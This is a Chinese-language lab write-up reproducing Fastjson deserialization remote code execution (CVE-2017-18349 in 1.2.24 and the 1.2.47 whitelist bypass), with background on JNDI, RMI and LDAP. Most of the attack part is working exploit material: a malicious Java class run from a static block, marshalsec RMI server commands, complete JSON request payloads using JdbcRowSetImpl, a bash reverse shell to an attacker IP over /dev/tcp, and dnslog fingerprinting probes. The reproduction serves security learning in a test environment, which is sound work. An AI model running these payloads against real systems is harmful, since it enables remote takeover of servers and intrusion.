Fastjson漏洞復現
簡介
fastjson
Fastjson 是一個 Java 庫，可以將 Java 對象轉換為 JSON 格式，當然它也可以將 JSON 字符串轉換為 Java 對象。Fastjson 可以操作任何 Java 對象，即使是一些預先存在的沒有源碼的對象。
大致意思是可以實現json對象與JavaBean對象的轉換，實現JavaBean對象與json字符串的轉換，實現json對象與json字符串的轉換。
JNDI
JNDI是 Java 命名與目錄接口（Java Naming and Directory Interface），在J2EE規范中是重要的規范之一。JNDI提供統一的客戶端API，為開發人員提供了查找和訪問各種命名和目錄服務的通用、統一的接口，可以用來定位用戶、網絡、機器、對象和服務等各種資源。比如可以利用JNDI再局域網上定位一台打印機，也可以用JNDI來定位數據庫服務或一個遠程Java對象。JNDI底層支持RMI遠程對象，RMI注冊的服務可以通過JNDI接口來訪問和調用。
JNDi是應用程序設計的Api，JNDI可以根據名字動態加載數據，支持的服務主要有以下幾種：
DNS、LDAP、CORBA對象服務、RMI
RMI
RMI（Remote Method Invocation）是專為Java環境設計的遠程方法調用機制，遠程服務器實現具體的Java方法並提供接口，客戶端本地僅需根據接口類的定義，提供相應的參數即可調用遠程方法。
RMI依賴的通信協議為JRMP(Java Remote Message Protocol ，Java 遠程消息交換協議)，該協議為Java定制，要求服務端與客戶端都為Java編寫。這個協議就像HTTP協議一樣，規定了客戶端和服務端通信要滿足的規范。在RMI中對象是通過序列化方式進行編碼傳輸的。RMI服務端可以直接綁定遠程調用的對象以外，還可通過References類來綁定一個外部的遠程對象，當RMI綁定了References之后，首先會利用Referenceable.getReference()獲取綁定對象的引用，並在目錄中保存，當客戶端使用lookup獲取對應名字時，會返回ReferenceWrapper類的代理文件，然后會調用getReference()獲取Reference類，最終通過factory類將Reference轉換為具體的對象實例。
區別
-
反序列化常用的兩種利用方式，一種是基於rmi，一種是基於ldap。
-
RMI是一種行為，指的是Java遠程方法調用。
-
JNDI是一個接口，在這個接口下會有多種目錄系統服務的實現，通過名稱等去找到相關的對象，並把它下載到客戶端中來。
-
ldap指輕量級目錄服務協議。
基於rmi的利用方式：適用jdk版本：JDK 6u132，JDK 7u131，JDK 8u121之前； 在jdk8u122的時候，加了反序列化白名單的機制，關閉了rmi遠程加載代碼。 基於ldap的利用方式，適用jdk版本：JDK 11.0.1、8u191、7u201、6u211之前。 在Java 8u191更新中，Oracle對LDAP向量設置了相同的限制，並發布了CVE-2018-3149，關閉了JNDI遠程類加載。 可以看到ldap的利用范圍是比rmi要大的，實戰情況下推薦使用ldap方法進行利用。
漏洞原理
如果我們可以控制JNDI客戶端中傳入的url，就可以起一個惡意的RMI，讓JNDI來加載我們的惡意類從而進行命令執行。
我們來看一下References，References類有兩個屬性，className和codebase url，className就是遠程引用的類名，codebase決定了我們遠程類的位置，當本地classpath中沒有找到對應的類的時候，就會去請求codebase地址下的類（codebase支持http協議），此時如果我們將codebase地址下的類換成我們的惡意類，就能讓客戶端執行。
ps：在java版本大於1.8u191之后版本存在trustCodebaseURL的限制，只能信任已有的codebase地址，不再能夠從指定codebase中下載字節碼。
整個利用流程如下:
1.首先開啟HTTP服務器，並將我們的惡意類放在目錄下
2.開啟惡意RMI服務器
3.攻擊者控制url參數為上一步開啟的惡意RMI服務器地址
4.惡意RMI服務器返回ReferenceWrapper類
5.目標（JNDI_Client）在執行lookup操作的時候，在decodeObject中將ReferenceWrapper變成Reference類，然后遠程加載並實例化我們的Factory類（即遠程加載我們HTTP服務器上的惡意類），在實例化時觸發靜態代碼片段中的惡意代碼
CVE-2017-18349
fastjson 1.2.24 反序列化導致任意命令執行漏洞
漏洞簡介
fastjson在解析json的過程中，支持使用autoType來實例化某一個具體的類，並調用該類的set/get方法來訪問屬性。通過查找代碼中相關的方法，即可構造出一些惡意利用鏈。
漏洞復現
-
App Fastjson
-
CVE CVE-2017-18349
-
Path fastjson/1.2.24-rce
運行測試環境：
docker-compose up -d
環境運行后，訪問http://your-ip:8090即可看到JSON格式的輸出。
我們向這個地址POST一個JSON對象，即可更新服務端的信息：
curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"karsa", "age":22}'
此時返回json格式的請求結果，沒報404，正常情況下說明存在該漏洞。
kali安裝java環境
cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version
編譯惡意類代碼
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
搭建http服務傳輸惡意文件
python -m SimpleHTTPServer 1337
反序列化
利用java 反序列化利用工具 marshalsec
git clone https://github.com/mbechler/marshalsec.git 下載marshalsec
apt-get install maven 安裝maven
mvn clean package -DskipTests 使用maven編譯marshalsec成jar包
啟動RMI服務器
然后借助marshalsec項目，啟動一個RMI服務器，監聽9999端口，並制定加載遠程類
TouchFile.class：
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.211.147:1337/#TouchFile" 9999
（這里如果要啟動LDAP服務的話，只需把上面命令中的RMI改成LDAP即可）
發送Payload
使用BP抓包，並寫入poc(請求包里面請求方式改成post，Content-Type改成application/json)：
POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.211.128:9999/TouchFile",
"autoCommit":true
}
}
成功創建 success目錄
反彈shell
重新制作惡意代碼文件
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.211.147/6666 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
成功反彈shell
Fastjson 1.2.47 遠程命令執行漏洞
漏洞簡介
Fastjson是阿里巴巴公司開源的一款json解析器，其性能優越，被廣泛應用於各大廠商的Java項目中。fastjson於1.2.24版本后增加了反序列化白名單，而在1.2.48以前的版本中，攻擊者可以利用特殊構造的json字符串繞過白名單檢測，成功執行任意命令。
漏洞復現
-
App Fastjson
-
Path fastjson/1.2.47-rce
運行測試環境：
docker-compose up -d
環境運行后，訪問http://your-ip:8090即可看到JSON格式的輸出。
復現過程與前文大致相同，首先編譯並上傳命令執行代碼，然后借助marshalsec項目，啟動一個RMI服務器，監聽9999端口，並制定加載遠程類TouchFile.class，最后向靶場發送payload
POST / HTTP/1.1
Host: 192.168.211.128:8090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 265
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.211.147:9999/Exploit",
"autoCommit":true
}
}
成功反彈shell
漏洞檢測
未知目標是否使用 Fastjson ，但站點有原始報錯回顯
如果站點有原始報錯回顯，可以用不閉合花括號的方式進行報錯回顯，報錯中往往會有fastjson的字樣
{
"@type":"java.net.Inet4Address",
"val":"dnslog"
如上圖所示報錯，JSON parse error: type not match
無回顯，通過DNS回顯的方式盲區分 Fastjson 和 Jackson
{"zeo":{"@type":"java.net.Inet4Address","val":"kf0fbs.dnslog.cn"}}
